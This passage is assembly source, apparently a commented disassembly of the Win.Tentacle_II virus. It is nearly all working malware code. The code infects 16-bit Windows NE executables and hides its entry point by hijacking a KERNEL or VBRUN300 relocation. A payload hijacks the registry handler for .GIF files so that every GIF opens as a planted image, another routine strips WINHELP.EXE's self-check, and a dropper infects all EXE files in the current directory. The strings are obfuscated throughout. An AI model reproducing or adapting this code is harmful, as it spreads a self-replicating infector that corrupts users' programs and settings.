       cmp     [bp.bytes_to_copy],256  ; more than 256 bytes left?
       JBE     copy_remaining_bytes_block

       mov     cx,256                  ; then just copy 256 bytes
       JMP     read_file_block

copy_remaining_bytes_block:
       mov     cx,word ptr [bp.bytes_to_copy]  ; copy all bytes left

read_file_block:
       push    cx                      ; save size to read/write
       mov     bx,[bp.source_handle]   ; BX=handle of source file
       mov     ah,3Fh                  ; read from file function
       push    ds                      ; save DS
       push    ss                      ; DS=SS
       pop     ds
       int     21h

       pop     ds                      ; restore DS
       mov     bx,[bp.dest_handle]     ; BX=handle of destination file
       mov     cx,ax                   ; write as many bytes as were read
       mov     ah,40h                  ; write block to temporary file
       push    ds                      ; save DS
       push    ss                      ; DS=SS
       pop     ds
       int     21h

       pop     ds                      ; restore DS
       cmp     cx,ax                   ; sizes of read block=written block ?
       pop     cx                      ; restore size to read and write
       JNZ     copy_file_block_error   ; if not equal, then an error occured
       cmp     cx,ax                   ; size of read/written block equal
                                       ; to the size we planned to read?
       JNE     copy_file_block_done    ; if not, we're at the end of the file

       cwde                            ; convert word to dword (AX->EAX)
       sub     [bp.bytes_to_copy],eax  ; we've copied EAX bytes more
       JMP     copy_file_block_loop    ; copy next file block

copy_file_block_error:
       stc                             ; set carry flag (indicate error)
       JMP     copy_file_block_ret

copy_file_block_done:
       clc                             ; clear carry flag (indicate success)
       add     sp,256                  ; remove buffer from stack
       popad                           ; restore all 32bit registers

copy_file_block_ret:
       RET


; ----- SEARCH MODULE NAME --------------------------------------------------
;
; searches the module name pointed to by DX in the imported names table and
; returns in AX its number, otherwise indicates error with carry flag set

search_module_name:
       push    bx                      ; save BX
       push    es                      ; save ES

       sub     sp,256                  ; reserve a 256 bytes buffer on stack
       mov     di,dx

       push    ss                      ; ES=SS
       pop     es

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.rw_buffer+28h]  ; ptr to module-reference
                                               ; table (from NE header)
       add     eax,[bp.new_header_offs]; EAX=ptr to module-reference table
                                       ; (from file start)

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; set file pointer relative to
                                       ; file start to module reference table
       int     21h
       JC      module_name_not_found

       mov     ah,3Fh                  ; read module reference table
       mov     cx,word ptr [bp.rw_buffer+1Eh]  ; number of entries in
                                       ; module reference table
       shl     cx,1                    ; multiply with two (each entry
                                       ; in module reference table is a word)
       mov     dx,sp                   ; DS:DX=ptr to our buffer on stack
       int     21h
       JC      module_name_not_found

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.rw_buffer+2Ah]  ; ptr to imported-names table
                                               ; (relative to NE header)
       add     eax,[bp.new_header_offs]; EAX=ptr to imported-names table
                                       ; relative to file start

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; set file pointer relative to
                                       ; file start to imported-names table
       int     21h
       JC      module_name_not_found

       mov     ah,3Fh                  ; read imported-names table
       mov     cx,128                  ; read 128 bytes
       mov     dx,sp                   ; DS:DX=ptr to buffer on stack
       add     dx,128                  ; assume module-reference table is
                                       ; not longer than 128 bytes too
       int     21h
       JC      module_name_not_found

       mov     bx,sp                   ; BX=module-reference table buffer
       xor     cx,cx                   ; CX=0
       JMP     check_if_all_modules_done

search_module_name_loop:
       mov     si,sp                   ; SI=buffer on stack
       add     si,128                  ; SI=imported-names table buffer
       add     si,[bx]                 ; add offset from module-reference
                                       ; table to get a actual entry in the
                                       ; imported-names table

       push    cx                      ; save CX (module counter)
       push    di                      ; save DI (offset of module name
                                       ; to search for)

       xor     ch,ch                   ; CH=0
       mov     cl,[si]                 ; length of this entry in the
                                       ; imported-names table

       inc     cl                      ; also compare the string-length byte
       cld                             ; clear direction flag
       repe    cmpsb                   ; compare the strings

       pop     di                      ; restore DI (offset of module name
                                       ; to search for)
       pop     cx                      ; restore CX (module counter)

       JZ      found_module_name
       inc     cx                      ; incerement CX (module counter)
       add     bx,2                    ; go to next entry in module-
                                       ; reference table
check_if_all_modules_done:
       cmp     cx,word ptr [bp.rw_buffer+1Eh]  ; done all modules ?
       JNE     search_module_name_loop ; if not, search on
       JMP     module_name_not_found   ; if yes, the search failed

found_module_name:
       mov     ax,cx                   ; AX=module counter
       inc     ax                      ; make counter start from 1
       add     sp,256                  ; remove buffer from stack
       clc                             ; clear carry flag (indicate success)
       JMP     exit_search_module_name

module_name_not_found:
       add     sp,256                  ; remove buffer from stack
       stc                             ; Set carry flag

exit_search_module_name:
       pop     es                      ; restore ES
       pop     bx                      ; restore BX
       RET


; ----- EPO ENGINE ----------------------------------------------------------
;
; Entry: none
;
; Exit:
; EAX - module index (in MSW) and API ordinal (in LSW) of found reloc item
; EDX - file offset of relocation item to modify

EPO:

       ; create the string 6, "KERNEL" in tmp_buffer

       mov     dword ptr [bp.tmp_buffer+4],5AD5762Dh
       mov     dword ptr [bp.tmp_buffer+0],0F220B44Bh
       add     dword ptr [bp.tmp_buffer+0],602496BBh
       add     dword ptr [bp.tmp_buffer+4],0A576CF21h
       lea     dx,[bp.tmp_buffer]      ; DX=pointer to 6, "KERNEL"
       CALL    search_module_name
       JC      check_VBrun
       mov     dx,5Bh                  ; ordinal of InitTask API
       JMP     search_API_reference

check_VBrun:
       ; create the string 8, "VBRUN300" in tmp_buffer
       mov     dword ptr [bp.tmp_buffer+4],9062F740h
       mov     dword ptr [bp.tmp_buffer+0],0EDC4FE68h
       mov      byte ptr [bp.tmp_buffer+8],"0"
       add     dword ptr [bp.tmp_buffer+4],9FD05715h
       add     dword ptr [bp.tmp_buffer+0],647D57A0h
       lea     dx,[bp.tmp_buffer]      ; Load effective addr
       CALL    search_module_name
       JC      end_EPO
       mov     dx,64h                  ; ordinal of THUNRTMAIN API

search_API_reference:
       push    ax                      ; save AX (module index)
       push    dx                      ; save DX (API function ordinal)

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.rw_buffer+22h]  ; segment table offset
                                               ; (relative to NE header)
       add     eax,[bp.new_header_offs]; EAX=segment table offset (relative
                                       ; to file start)
       xor     ecx,ecx                 ; ECX=0
       mov     cx,word ptr [bp.rw_buffer+16h]  ; entry code segment index
       dec     cx                      ; make segment counter start at zero
       shl     ecx,3                   ; multiply with 8 (segment table
                                       ; entry size)
       add     eax,ecx                 ; EAX=offset of entry code segment
                                       ; descriptor (from filestart)
       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; go to descriptor of entry code segm
       int     21h

       pop     dx                      ; restore DX (API function ordinal)
       pop     ax                      ; restore AX (module index)
       JC      end_EPO
       mov     cl,byte ptr [bp.rw_buffer+32h]  ; CL=alignemt shift

       push    bp                      ; save BP (main data stack frame)
       sub     sp,size EPO_stack_frame ; create new data buffer on stack
       mov     bp,sp                   ; and set BP to it

       push    cx                      ; save CX (alignemt shift)
       mov     [bp.module_index],ax    ; save module index
       mov     [bp.API_ordinal],dx     ; save API function ordinal

       mov     ah,3Fh                  ; read entry code segment descriptor
       mov     cx,8                    ; size of a segment descriptor
       lea     dx,[bp.entry_CS_offset] ; DS:DX=pointer to read buffer
       int     21h
       pop     cx                      ; restore CX (alignment shift)
       JC      EPO_failed

       xor     edx,edx                 ; EDX=0
       mov     dx,[bp.entry_CS_offset] ; EDX=segment file offset (aligned)
       shl     edx,cl                  ; EDX=segment file offset (in bytes)
       xor     eax,eax                 ; EAX=0
       mov     ax,[bp.entry_CS_phys]   ; EAX=segment physical size
       add     edx,eax                 ; EDX=file offset of segment relocs
       mov     [bp.entry_CS_relocs],edx; save it

       push    edx                     ; CX:DX=EDX
       pop     dx
       pop     cx
       mov     ax,4200h                ; go to entry code segment relocations
       int     21h
       JC      EPO_failed

       mov     ah,3Fh                  ; read number of relocation items
       mov     cx,2                    ; read one word
       lea     dx,[bp.relocs_number]   ; DS:DX=pointer to read buffer
       int     21h
       JC      EPO_failed

       xor     ecx,ecx                 ; ECX=0
       JMP     check_if_all_relocs_done

search_API_reference_loop:
       push    cx                      ; save CX

       mov     ah,3Fh                  ; read a relocation item
       mov     cx,8                    ; size of relocation item
       lea     dx,[bp.reloc_type]      ; DS:DX=ptr to read buffer
       int     21h

       pop     cx
       JC      EPO_failed

       mov     eax,dword ptr [bp.module_index] ; EAX=module index and
                                               ; API ordinal
       cmp     [bp.reloc_what],eax
       JNE     check_next_reloc
       cmp     word ptr [bp.reloc_type],103h  ; check relocation type: must
                                          ; be 32bit far ptr and API ordinal
       JE      found_API_reference
check_next_reloc:
       inc     cx
check_if_all_relocs_done:
       cmp     cx,[bp.relocs_number]
       JNE     search_API_reference_loop
       JMP     EPO_failed

found_API_reference:
       mov     edx,[bp.entry_CS_relocs]
       add     edx,2
       shl     ecx,3                   ; ECX=ECX*8 (size of a reloc item)
       add     edx,ecx                 ; EDX=offset of reloc item in file
       mov     eax,dword ptr [bp.module_index]; EAX=module index/API ordinal

       add     sp,size EPO_stack_frame ; clear buffer from stack
       pop     bp                      ; restore old stack frame pointer
       clc                             ; clear carry flag (indicate success)
       JMP     end_EPO

EPO_failed:
       add     sp,size EPO_stack_frame ; clear buffer from stack
       pop     bp
       stc                             ; set carry flag (indicate error)

end_EPO:
       RET


gif_body:
       include gif.inc                 ; the body of the gif file converted
                                       ; to DB instructions
gif_body_size   EQU ($ - offset gif_body)


shell_open_command      db "\SHELL\OPEN\COMMAND", 0
l_shell_open_command    EQU ($ - offset shell_open_command)


; ----- PAYLOAD -------------------------------------------------------------

payload:
       push    es                      ; save ES
       push    bp                      ; save BP (main stack frame pointer)

       sub     sp,size payload_stack_frame  ; reserve room on stack
       mov     bp,sp                   ; setup new stack frame

       push    ax                      ; save AX (what to do flag)


;*      push    dword ptr 1             ; HKEY_CURRENT_USER
       db      66h,68h,1,0,0,0         ; fixup - byte match

       mov     word ptr [bp.reg_buffer2],"G."; name of the subkey: ".GIF",0
       mov     dword ptr [bp.reg_buffer2+2],"FI"
       push    ss                      ; push a far pointer to the name
       lea     ax,[bp.reg_buffer2]     ; of the subkey
       push    ax

       push    ss                      ; push a far pointer to the buffer
       lea     ax,[bp.reg_buffer1]     ; that will hold the return string
       push    ax

       mov     [bp.size_reg_buffer],40h; size of buffer for return string
       push    ss                      ; push a far pointer to the
       lea     ax,[bp.size_reg_buffer] ; dword that holds the size for the
       push    ax                      ; return string

       CALL    cs:RegQueryValue        ; far call to the RegQueryValue API


       or      ax,ax                   ; zero means success
       JZ      RegQueryValue_success
       pop     ax                      ; clear stack
       JMP     exit_payload

RegQueryValue_success:
       cmp     byte ptr [bp.reg_buffer1],0; has it returned an empty string?
       JE      try_shell_open_command

       push    ss                      ; ES=SS
       pop     es

       lea     di,[bp.reg_buffer1]     ; DI=offset retrun string
       cld                             ; clear direction flag
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; CX=maximal word
       repne   scasb                   ; search for the end of the string
       dec     di                      ; DI points now to the terminating 0

       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds

       mov     si,offset shell_open_command
       CALL    decrypt_path            ; decrypt & append it to the result
                                       ; of the RegQueryValue call
       pop     ds                      ; restore DS
       CALL    call_RegQueryValue
       or      ax,ax                   ; zero means success
       pop     ax                      ; restore AX (entry flag)
       JZ      RegQueryValue_success2

try_shell_open_command:
       mov     word ptr [bp.reg_buffer1],"G."
       mov     dword ptr [bp.reg_buffer1+2],"FI"

       push    ds                      ; save DS

       push    cs                      ; DS=CS
       pop     ds

       push    ss                      ; ES=SS
       pop     es

       mov     si,offset shell_open_command
       lea     di,[bp.reg_buffer1+4]   ; Load effective addr
       mov     cx,l_shell_open_command ; useless, the decrypt_path procedure
                                       ; gets the string length itself.
       CALL    decrypt_path
       pop     ds                      ; restore DS
       CALL    call_RegQueryValue
       or      ax,ax                   ; zero means success
       pop     ax
       JNZ     exit_payload

RegQueryValue_success2:
       ; reg_buffer2 contains now the commandline of the program that is
       ; runned whenever the user doubleclics on a .GIF file

       or      ax,ax                   ; check the entry flag in AX
       JZ      restore_gif_commandline

       push    ss                      ; ES=SS
       pop     es
       lea     di,[bp.reg_buffer2]     ; DI=pointer to commandline connected
                                       ; with .GIF files
       push    di                      ; save DI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; CX=maximal word
       repne   scasb                   ; search for the end of the string
       dec     di                      ; DI points now to the terminating 0
       mov     ax,di                   ; AX=end of string
       pop     di                      ; restore DI (start of string)
       sub     ax,di                   ; AX=length of string
       mov     cx,ax                   ; CX=length of string
       mov     al,"%"                  ; search the commandline for where
                                       ; the name of the gif will be on
                                       ; program start
       cld                             ; clear direction flag
       repne   scasb                   ; search for the % sign
       JNZ     exit_payload            ; if not found, exit payload
       cmp     byte ptr [di],"1"       ; is it the %1, like it has to be?
       JNE     exit_payload            ; if not, something is wrong
       cmp     byte ptr [di-2],'"'     ; is there the quotes sign?
       JNE     dont_skip_quotes
       dec     di                      ; if yes, skip it
dont_skip_quotes:
       dec     di                      ; go to the start of the first
                                       ; parameter in the commandline, the
                                       ; name of the .GIF file

       mov     dword ptr [di+9],"G.EL" ; create there the "C:\TENTACLE.GIF"
       mov     byte ptr [di],"C"       ; string
       mov     dword ptr [di+5],7E00FD39h
       mov     dword ptr [di+0Dh],"FI"
       add     dword ptr [di+5],0C5405715h
       mov     dword ptr [di+1],"ET\:"
       push    di                      ; save DI (offs of "C:\TENTACLE.GIF")
       CALL    call_RegSetValue        ; set the new value.

       ; from now on, everytimes the user doubleclicks on a gif file, it
       ; will only see C:\TENTACLE.GIF ;-)

       mov     ah,3Ch                  ; create C:\TENTACLE.GIF file
       mov     cx,7                    ; readonly,hidden,system attributes
       pop     dx                      ; DS:DX=ptr to filename to create
                                       ; ("C:\TENTACLE.GIF")
       int     21h
       JC      exit_payload

       mov     bx,ax                   ; handle to BX

       mov     word ptr [bp.reg_buffer2+2],"8F"  ; create GIF marker in the
       mov     word ptr [bp.reg_buffer2+0],"IG"  ; buffer ("GIF87a")
       mov     word ptr [bp.reg_buffer2+4],"a7"

       mov     ah,40h                  ; write GIF marker
       mov     cx,6                    ; size of gif marker
       lea     dx,[bp.reg_buffer2]     ; DS:DX=pointer to write buffer
       int     21h

       mov     ah,40h                  ; write gif file body
       mov     cx,gif_body_size        ; size to write
       mov     dx,offset gif_body      ; DS:DX=pointer to write buffer
       push    ds                      ; save DS
       push    cs                      ; DS=CS
       pop     ds
       int     21h

       pop     ds                      ; restore DS

       mov     ah,3Eh                  ; close file
       int     21h

       JMP     exit_payload            ; payload is done

restore_gif_commandline:
       push    ss                      ; ES=SS
       pop     es
       lea     di,[bp.reg_buffer2]     ; DI=pointer to commandline connected
                                       ; with .GIF files
       cld                             ; clear direction flag
       push    di                      ; save DI
       xor     al,al                   ; AL=0
       mov     cx,0FFFFh               ; CX=maximal word
       repne   scasb                   ; search for the end of the string
       dec     di                      ; DI points now to the terminating 0
       mov     ax,di                   ; AX=end of string
       pop     di                      ; restore DI (start of string)
       sub     ax,di                   ; AX=length of string
       add     di,ax
       mov     cx,ax                   ; CX=length of string
       mov     al," "                  ; search for the blank
       std                             ; set direction flag
       repne   scasb                   ; search for the end of the filename
       JNZ     exit_payload            ; if not found, exit
       add     di,2                    ; go to 1st param (file to display)
       cmp     byte ptr [di],"C"       ; is there "C:\TENTACLE.GIF"
       JNE     exit_payload            ; if not, there's nothing to restore
       cmp     dword ptr [di+1],"ET\:" ; make really sure
       JNE     exit_payload
       mov     byte ptr [di],"%"       ; restore the correct cmdline "%1"
       mov     word ptr [di+1],"1"
       CALL    call_RegSetValue        ; set it.

exit_payload:
       add     sp,size payload_stack_frame  ; free room on stack
       pop     bp                      ; restore BP (main stack frame ptr)
       pop     es                      ; restore ES
       RET


call_RegQueryValue:
;*      push    dword ptr 1             ; HKEY_CURRENT_USER
       db      66h,68h,1,0,0,0         ; fixup - byte match

       push    ss                      ; push a far pointer to the name
       lea     ax,[bp.reg_buffer1]     ; of the subkey
       push    ax

       push    ss                      ; push a far pointer to the buffer
       lea     ax,[bp.reg_buffer2]     ; that will hold the return string
       push    ax

       mov     [bp.size_reg_buffer],40h; size of buffer for return string
       push    ss                      ; push a far pointer to the
       lea     ax,[bp.size_reg_buffer] ; dword that holds the size for the
       push    ax                      ; return string

       CALL    cs:RegQueryValue        ; far call to the RegQueryValue API

       RET


call_RegSetValue:
;*      push    dword ptr 1             ; HKEY_CURRENT_USER
       db      66h,68h,1,0,0,0         ; fixup - byte match

       push    ss                      ; push a far pointer to the name
       lea     ax,[bp.reg_buffer1]     ; of the subkey
       push    ax

;*      push    dword ptr 0             ; REG_SZ (ASCIIZ string)
       db      66h,68h,1,0,0,0         ; fixup - byte match

       push    ss                      ; push a far pointer to the buffer
       lea     ax,[bp.reg_buffer2]     ; that will hold the return string
       push    ax

;*      push    dword ptr 0             ; size of value data
       db      66h,68h,0,0,0,0         ; fixup - byte match

       CALL    cs:RegSetValue          ; far call to the RegSetValue API

       RET


; ----- PATCH WINHELP -------------------------------------------------------

patch_winhelp:
       cmp     word ptr [bp.rw_buffer+1Ch],2   ; number of segments
       JB      exit_patch_winhelp              ; it's not the WINHELP.EXE
                                               ; we know, don't patch it

       xor     eax,eax                         ; EAX=0
       mov     ax,word ptr [bp.rw_buffer+22h]  ; offset of segment table
                                               ; (relative to NE header)
       add     eax,[bp.new_header_offs]        ; now relative to file start
;*      add     eax,8                           ; go to 2nd segment descriptor
       db      66h, 83h,0C0h, 08h              ; fixup - byte match

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; set filepointer to the
       int     21h                     ; descriptor.

       mov     ah,3Fh                  ; read the aligned segment file offset
       mov     cx,2                    ; read one word
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to read buffer
       int     21h

       xor     eax,eax                 ; EAX=0
       mov     ax,word ptr [bp.tmp_buffer] ; EAX=aligned segment file offset
       mov     cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift
       shl     eax,cl                  ; EAX=segment file offset in bytes
;*      add     eax,22h                 ; go to offset 22h in 2nd segment
       db      66h,83h,0C0h,22h        ; fixup - byte match

       push    eax                     ; CX:DX=EAX
       pop     dx
       pop     cx
       mov     ax,4200h                ; set filepointer to offset 22h in
       int     21h                     ; the second segment
       JC      exit_patch_winhelp

       mov     ah,3Fh                  ; read two bytes of program code
       mov     cx,2                    ; size to read
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to read buffer
       int     21h
       JC      exit_patch_winhelp

       cmp     word ptr [bp.tmp_buffer],1474h  ; is it a JE $+16h ?
       JNE     exit_patch_winhelp      ; if not, it's not the WINHELP.EXE
                                       ; we know, don't patch it.

       mov     ax,4201h                ; set filepointer back to the
                                       ; conditional jmp
       mov     cx,-1                   ; CX:DX=-2
       mov     dx,-2
       int     21h

       mov     byte ptr [bp.tmp_buffer],0EBh  ; a unconditional JMP SHORT

       mov     ah,40h                  ; patch the file with the
                                       ; unconditional JMP
       mov     cx,1                    ; write one byte
       lea     dx,[bp.tmp_buffer]      ; DS:DX=pointer to the write buffer
       int     21h

                                       ; WINHELP.EXE now has no self-check
                                       ; any more ;-)

exit_patch_winhelp:
       RET


       db      3 dup(0)                ; maybe the author wanted the
                                       ; relocation addresses on an address
                                       ; divisible by 4 ?

RegQueryValue   dd      0000FFFFh
RegSetValue     dd      0000FFFFh
org_entry       dd      0000FFFFh

virus_end:

; Most data of the virus is stored in a buffer on the stack. The following
; structure represents the lay-out of this stack frame:

stack_frame     struc
dta             db 2Bh dup(?)
tmp_buffer      db 10 dup(?)
bytes_to_copy   dd ?
full_filename   db 24 dup(?)
full_filespec   db 24 dup(?)
tmp_filename    db 16 dup(?)
source_handle   dw ?
dest_handle     dw ?
file_date       dw ?
file_time       dw ?
file_size       dd ?
new_header_offs dd ?
end_of_NE_hdr   dd ?
alignment_unit  dd ?
first_segm_offs dd ?
new_sect_descr  dw 4 dup(?)
rw_buffer       db 64 dup(?)
               dw ?
our_reloc_offs  dd ?
module_ordinal  dd ?
new_entry_CS    dw ?
new_entry_IP    dw ?
stack_frame     ends


; The data that is used in the EPO engine of the virus uses another stack
; frame that is represented in this structure:

EPO_stack_frame struc
entry_CS_offset dw ?
entry_CS_phys   dw ?
entry_CS_flags  dw ?
entry_CS_virt   dw ?
reloc_type      dw ?
reloc_offs      dw ?
reloc_what      dd ?
module_index    dw ?
API_ordinal     dw ?
entry_CS_relocs dd ?
relocs_number   dw ?
EPO_stack_frame ends


; Also the payload routine uses its own stack frame:

payload_stack_frame struc
reg_buffer1     db 40h dup(?)
reg_buffer2     db 40h dup(?)
size_reg_buffer dd ?
payload_stack_frame ends



first_gen_entry:
       push    ds                      ; save DS
       pusha                           ; save all registers

       push    ss                      ; DS=SS
       pop     ds

       sub     sp,size stack_frame     ; reserve room on stack
       mov     bp,sp                   ; setup stack frame

       mov     ah,1Ah                  ; set DTA to DS:DX
       lea     dx,[bp.dta]             ; Load effective addr
       int     21h

       mov     si, offset exe_wildcard ; encrypt all the strings in the
       call    encrypt_wildcard        ; virus by a simple inc/dec
       mov     si, offset scr_wildcard ; algorithm
       call    encrypt_wildcard

       mov     si, offset C_win
       call    encrypt_path
       mov     si, offset C_windows
       call    encrypt_path
       mov     si, offset C_win31
       call    encrypt_path
       mov     si, offset C_win311
       call    encrypt_path
       mov     si, offset C_win95
       call    encrypt_path
       mov     si, offset shell_open_command
       call    encrypt_path

       mov     bx,0FFFFh
       mov     cx,offset empty_string
       mov     dx,offset exe_wildcard
       CALL    infect_directory        ; infect all EXE files in current dir

       mov     ah,9
       mov     dx,offset first_gen_message
       int     21h

       mov     ax,4C00h
       int     21h

first_gen_message db "Win.Tentacle_II virus dropped", 0Dh, 0Ah, "$"

end first_gen_entry